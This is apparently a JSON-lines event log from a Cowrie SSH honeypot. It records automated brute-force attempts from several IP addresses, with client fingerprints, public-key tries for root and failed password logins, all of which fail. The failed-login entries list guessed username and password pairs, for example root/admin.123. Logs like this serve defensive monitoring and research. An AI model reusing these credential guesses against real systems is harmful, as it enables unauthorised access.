{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"8b:ee:9a:6e:ef:1e:4d:49:81:ef:39:09:2e:f6:09:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoednXkxbHIhsV2cA3UnxoHV/y4Z25PqyRqF4YE4xk85nqRyGe5tKlWYwMtk8C/1GEDGMRGapGrGEvAg293aEomz4T65VTbHlL9zqoKEgeRfht56JFzpmV27+0r6hoMAlGCa/j/Dot4/KcXLFz0gmVK4nblI9zImtwkjef+AYFrFvL/7DQqBEQbhIlXetqJXhZSt3/hZUoQb/YnMS30uwDMeBn+AOaW5ooWVa4UFvwmEDPQERImHp23NBX88FGUdutxELlmwqZnutqSaotCFjqpuRQgPgio2NWoIfYFM3E+bVs45LdMBBgj3tuyxOa83tfINGA+uu+j02QFZ6LsRcp","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 8b:ee:9a:6e:ef:1e:4d:49:81:ef:39:09:2e:f6:09:18","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:10.613069Z","src_ip":"172.105.123.47","session":"1bccd904fb65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"8b:ee:9a:6e:ef:1e:4d:49:81:ef:39:09:2e:f6:09:18","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCoednXkxbHIhsV2cA3UnxoHV/y4Z25PqyRqF4YE4xk85nqRyGe5tKlWYwMtk8C/1GEDGMRGapGrGEvAg293aEomz4T65VTbHlL9zqoKEgeRfht56JFzpmV27+0r6hoMAlGCa/j/Dot4/KcXLFz0gmVK4nblI9zImtwkjef+AYFrFvL/7DQqBEQbhIlXetqJXhZSt3/hZUoQb/YnMS30uwDMeBn+AOaW5ooWVa4UFvwmEDPQERImHp23NBX88FGUdutxELlmwqZnutqSaotCFjqpuRQgPgio2NWoIfYFM3E+bVs45LdMBBgj3tuyxOa83tfINGA+uu+j02QFZ6LsRcp","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:10.617205Z","src_ip":"172.105.123.47","session":"1bccd904fb65","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e7:61:6d:61:ad:3c:00:e5:b7:76:f0:a4:3b:82:1c:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClANmILk2rIahWeuPUUe/XEODkrrrm9WKp5ZeeScEi4SLG59mz8q3GZrR3tONTi0xAjUa4/tIKPcOmy7HtmvHxPVVledH2CBcsj8E/ZHX7OyL2oVdSpEuq05/d5JnVmY4uSjpOsOTyQ2BHDCNSzpwdcnuV4+qh6g0AW7/d32gC9mDOX77N62X25Elg0uQfGVXl09oO9XjT1GQbKXIsT6weSJsBLqj/GMiKRkzn64lE3gie1fu2UOsMbI5f+5gGJa7zDo9HNlGwxkYYg1MEvWC6dRKOnAaamNTzShKtZTOqyLd1ebkcBt0BhIJV7vxATi3p/79MnQ+j/Z1TV0is1VGx","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e7:61:6d:61:ad:3c:00:e5:b7:76:f0:a4:3b:82:1c:de","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:10.859082Z","src_ip":"172.105.123.47","session":"1bccd904fb65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e7:61:6d:61:ad:3c:00:e5:b7:76:f0:a4:3b:82:1c:de","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQClANmILk2rIahWeuPUUe/XEODkrrrm9WKp5ZeeScEi4SLG59mz8q3GZrR3tONTi0xAjUa4/tIKPcOmy7HtmvHxPVVledH2CBcsj8E/ZHX7OyL2oVdSpEuq05/d5JnVmY4uSjpOsOTyQ2BHDCNSzpwdcnuV4+qh6g0AW7/d32gC9mDOX77N62X25Elg0uQfGVXl09oO9XjT1GQbKXIsT6weSJsBLqj/GMiKRkzn64lE3gie1fu2UOsMbI5f+5gGJa7zDo9HNlGwxkYYg1MEvWC6dRKOnAaamNTzShKtZTOqyLd1ebkcBt0BhIJV7vxATi3p/79MnQ+j/Z1TV0is1VGx","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:10.862804Z","src_ip":"172.105.123.47","session":"1bccd904fb65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:11.110347Z","src_ip":"172.105.123.47","session":"1bccd904fb65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":55698,"dst_ip":"10.17.0.5","dst_port":22,"session":"9ed89e9f6eec","protocol":"ssh","message":"New connection: 202.145.0.61:55698 (10.17.0.5:22) [session: 9ed89e9f6eec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:49.048974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:49.053746Z","src_ip":"202.145.0.61","session":"9ed89e9f6eec","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:49.287041Z","src_ip":"202.145.0.61","session":"9ed89e9f6eec","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"hadoop","message":"login attempt [admin/hadoop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:50.251340Z","src_ip":"202.145.0.61","session":"9ed89e9f6eec","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:51.489811Z","src_ip":"202.145.0.61","session":"9ed89e9f6eec","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":33116,"dst_ip":"10.17.0.5","dst_port":22,"session":"460c8eda08c2","protocol":"ssh","message":"New connection: 103.84.236.222:33116 (10.17.0.5:22) [session: 460c8eda08c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:57.383300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:57.388956Z","src_ip":"103.84.236.222","session":"460c8eda08c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:57.625816Z","src_ip":"103.84.236.222","session":"460c8eda08c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"daniel2025","message":"login attempt [daniel/daniel2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:58.604124Z","src_ip":"103.84.236.222","session":"460c8eda08c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:26:59.844194Z","src_ip":"103.84.236.222","session":"460c8eda08c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":43902,"dst_ip":"10.17.0.5","dst_port":22,"session":"dfa790453c1e","protocol":"ssh","message":"New connection: 202.145.0.61:43902 (10.17.0.5:22) [session: dfa790453c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:27:43.873164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:27:43.881500Z","src_ip":"202.145.0.61","session":"dfa790453c1e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:27:44.122683Z","src_ip":"202.145.0.61","session":"dfa790453c1e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qqqqqqq","message":"login attempt [admin/qqqqqqq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:27:45.119695Z","src_ip":"202.145.0.61","session":"dfa790453c1e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:27:46.364868Z","src_ip":"202.145.0.61","session":"dfa790453c1e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":49608,"dst_ip":"10.17.0.5","dst_port":22,"session":"5a5f3a1ab91a","protocol":"ssh","message":"New connection: 103.84.236.222:49608 (10.17.0.5:22) [session: 5a5f3a1ab91a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:27:53.064215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:27:53.068631Z","src_ip":"103.84.236.222","session":"5a5f3a1ab91a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:27:53.298805Z","src_ip":"103.84.236.222","session":"5a5f3a1ab91a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"andre123","message":"login attempt [root/andre123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:27:54.257814Z","src_ip":"103.84.236.222","session":"5a5f3a1ab91a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:27:55.491053Z","src_ip":"103.84.236.222","session":"5a5f3a1ab91a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":36964,"dst_ip":"10.17.0.5","dst_port":22,"session":"d41a60dcae3f","protocol":"ssh","message":"New connection: 103.15.226.202:36964 (10.17.0.5:22) [session: d41a60dcae3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:28:02.736791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:28:02.742877Z","src_ip":"103.15.226.202","session":"d41a60dcae3f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:28:02.986830Z","src_ip":"103.15.226.202","session":"d41a60dcae3f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@+JaguarT3@mX@HacK&Ro0t=9717+@","message":"login attempt [root/@+JaguarT3@mX@HacK&Ro0t=9717+@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:28:03.733399Z","src_ip":"103.15.226.202","session":"d41a60dcae3f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:28:04.996723Z","src_ip":"103.15.226.202","session":"d41a60dcae3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":60336,"dst_ip":"10.17.0.5","dst_port":22,"session":"c693ac8e45f8","protocol":"ssh","message":"New connection: 202.145.0.61:60336 (10.17.0.5:22) [session: c693ac8e45f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:28:39.895257Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:28:39.900155Z","src_ip":"202.145.0.61","session":"c693ac8e45f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:28:40.134695Z","src_ip":"202.145.0.61","session":"c693ac8e45f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin.123","message":"login attempt [root/admin.123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:28:41.092263Z","src_ip":"202.145.0.61","session":"c693ac8e45f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:28:42.328576Z","src_ip":"202.145.0.61","session":"c693ac8e45f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":37874,"dst_ip":"10.17.0.5","dst_port":22,"session":"8570f0363862","protocol":"ssh","message":"New connection: 103.84.236.222:37874 (10.17.0.5:22) [session: 8570f0363862]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:28:55.216769Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:28:55.222080Z","src_ip":"103.84.236.222","session":"8570f0363862","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:28:55.451598Z","src_ip":"103.84.236.222","session":"8570f0363862","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Zs!123456","message":"login attempt [root/Zs!123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:28:56.397752Z","src_ip":"103.84.236.222","session":"8570f0363862","protocol":"ssh"}
